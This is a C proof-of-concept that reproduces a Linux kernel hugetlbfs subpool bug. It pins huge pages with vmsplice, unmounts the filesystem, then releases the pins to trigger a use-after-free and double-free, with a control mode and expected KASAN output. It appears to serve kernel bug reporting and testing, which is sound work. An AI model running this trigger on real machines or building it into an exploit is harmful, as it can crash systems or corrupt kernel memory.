/* * hugsp1.c - userspace reproducer for MM-HUGETLB-SP-01 * ("hugetlbfs minimum-only subpool lifetime race": slab-use-after-free + * double-free in hugepage_subpool_put_pages()/unlock_or_release_subpool()). * * Static build: * gcc -O2 -static -o hugsp1 hugsp1.c * * Modes: * poca mount -o min_size=0; one page; fault it; pin one 4K sub-page with * vmsplice(); unmap; close; umount (page still pinned -> folio * outlives superblock, spool is kfree()d by hugepage_put_subpool()); * then read the pipe -> put_page -> free_huge_folio() uses the * freed spool. * pocb mount -o min_size=2M; 4M mmap, only page 0 faulted+pinned; * ftruncate to 2M (unreserve puts rsv_hpages back to min_hpages); * close; umount -> same as poca but acct(-min) also underflows the * global hstate.resv_huge_pages. * poca2 two pages pinned, both released after umount (two delayed frees). * ctl negative control: same as poca but unpin before umount. * * On a KASAN kernel the expected reports are * BUG: KASAN: slab-use-after-free in hugepage_subpool_put_pages * BUG: KASAN: double-free in kfree */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define HPAGE (2UL * 1024 * 1024) /* default huge page size on x86-64 */ #define PINLEN 4096 static int pipefd[2] = { -1, -1 }; static char drainbuf[PINLEN * 4]; static void die(const char *what) { printf("HUGSP1: FAIL %s: errno=%d (%s)\n", what, errno, strerror(errno)); exit(1); } static void check_hugepages(void) { FILE *f = fopen("/proc/meminfo", "r"); char line[256]; long total = -1; if (!f) return; while (fgets(line, sizeof(line), f)) { if (sscanf(line, "HugePages_Total: %ld", &total) == 1) break; } fclose(f); printf("HUGSP1: HugePages_Total=%ld Hugepagesize=%lukB\n", total, HPAGE / 1024); if (total <= 0) { printf("HUGSP1: FAIL no huge pages reserved at boot\n"); exit(1); } } static void setup_mount(const char *opts) { mkdir("/mnt", 0755); if (mkdir("/mnt/huge", 0755) && errno != EEXIST) die("mkdir /mnt/huge"); if (mount("none", "/mnt/huge", "hugetlbfs", 0, opts)) die("mount hugetlbfs"); printf("HUGSP1: mounted hugetlbfs (\"%s\")\n", opts); } static void make_pipe(void) { if (pipe(pipefd)) die("pipe"); } static void pin_page(const void *addr, const char *tag) { struct iovec iov; ssize_t n; iov.iov_base = (void *)addr; iov.iov_len = PINLEN; n = vmsplice(pipefd[1], &iov, 1, 0); if (n != PINLEN) { printf("HUGSP1: vmsplice(%s) -> %zd errno=%d (%s)\n", tag, n, errno, strerror(errno)); exit(1); } printf("HUGSP1: pinned 4K at %p via vmsplice (%s)\n", addr, tag); } static void drain_pin(const char *tag) { ssize_t n; fflush(stdout); n = read(pipefd[0], drainbuf, PINLEN); printf("HUGSP1: drained %zd bytes from pipe (%s) -> put_page\n", n, tag); fflush(stdout); } static void close_pipe(void) { if (pipefd[0] >= 0) close(pipefd[0]); if (pipefd[1] >= 0) close(pipefd[1]); pipefd[0] = pipefd[1] = -1; } static int do_umount(void) { if (umount2("/mnt/huge", 0) == 0) return 0; printf("HUGSP1: umount -> errno=%d (%s), retry MNT_DETACH\n", errno, strerror(errno)); return umount2("/mnt/huge", MNT_DETACH); } /* * poca: mount min_size=0, fault one huge page, pin it, unmap, close, umount, * then release the pin. By the time the pin is released the superblock and * the hugepage_subpool object are gone, but the pinned folio still carries * the (now dangling) spool pointer. */ static void run_poca(int two_pages) { void *p, *p2 = NULL; int fd; setup_mount("min_size=0"); make_pipe(); fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600); if (fd < 0) die("open /mnt/huge/f"); if (ftruncate(fd, two_pages ? 2 * HPAGE : HPAGE)) die("ftruncate i_size"); p = mmap(NULL, two_pages ? 2 * HPAGE : HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (p == MAP_FAILED) die("mmap"); *(volatile char *)p = 0x41; /* fault page 0 into the page cache */ printf("HUGSP1: faulted page 0\n"); if (two_pages) { p2 = (char *)p + HPAGE; *(volatile char *)p2 = 0x42; printf("HUGSP1: faulted page 1\n"); } pin_page(p, "page0"); if (two_pages) pin_page(p2, "page1"); if (munmap(p, two_pages ? 2 * HPAGE : HPAGE)) die("munmap"); close(fd); printf("HUGSP1: unmapped + closed; page cache refs dropped, pin held\n"); if (do_umount()) die("umount"); printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n"); fflush(stdout); drain_pin(two_pages ? "page0" : "page0"); if (two_pages) drain_pin("page1"); close_pipe(); printf("HUGSP1: poca done\n"); } /* * pocb: min_size=2M. Reserve two pages by mmap(4M), fault+pin only page 0, * then ftruncate to 2M so that hugetlb_unreserve_pages() puts rsv_hpages back * to min_hpages while page 0 is still pinned. */ static void run_pocb(void) { void *p; int fd; setup_mount("min_size=2M"); make_pipe(); fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600); if (fd < 0) die("open /mnt/huge/f"); if (ftruncate(fd, 2 * HPAGE)) die("ftruncate 4M"); p = mmap(NULL, 2 * HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (p == MAP_FAILED) die("mmap 4M"); *(volatile char *)p = 0x41; printf("HUGSP1: faulted page 0 (page 1 left untouched)\n"); pin_page(p, "page0"); if (munmap(p, 2 * HPAGE)) die("munmap"); if (ftruncate(fd, HPAGE)) die("ftruncate 2M"); printf("HUGSP1: truncated to 2M -> rsv_hpages back to min_hpages\n"); close(fd); if (do_umount()) die("umount"); printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n"); fflush(stdout); drain_pin("page0"); close_pipe(); printf("HUGSP1: pocb done\n"); } /* * ctl: negative control. The pin is released while the superblock is still * alive, so free_huge_folio() sees a live subpool (count == 1) and nothing is * freed -> no KASAN report expected. */ static void run_ctl(void) { void *p; int fd; setup_mount("min_size=0"); make_pipe(); fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600); if (fd < 0) die("open /mnt/huge/f"); if (ftruncate(fd, HPAGE)) die("ftruncate"); p = mmap(NULL, HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (p == MAP_FAILED) die("mmap"); *(volatile char *)p = 0x41; pin_page(p, "page0"); if (munmap(p, HPAGE)) die("munmap"); drain_pin("page0"); /* unpin while sb alive: spool count == 1 */ close_pipe(); close(fd); if (do_umount()) die("umount"); printf("HUGSP1: ctl done (expected: no KASAN report)\n"); } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "poca"; setvbuf(stdout, NULL, _IONBF, 0); printf("HUGSP1: start mode=%s\n", mode); check_hugepages(); if (!strcmp(mode, "poca")) run_poca(0); else if (!strcmp(mode, "poca2")) run_poca(1); else if (!strcmp(mode, "pocb")) run_pocb(); else if (!strcmp(mode, "ctl")) run_ctl(); else { printf("HUGSP1: unknown mode %s\n", mode); return 1; } printf("HUGSP1: end\n"); return 0; }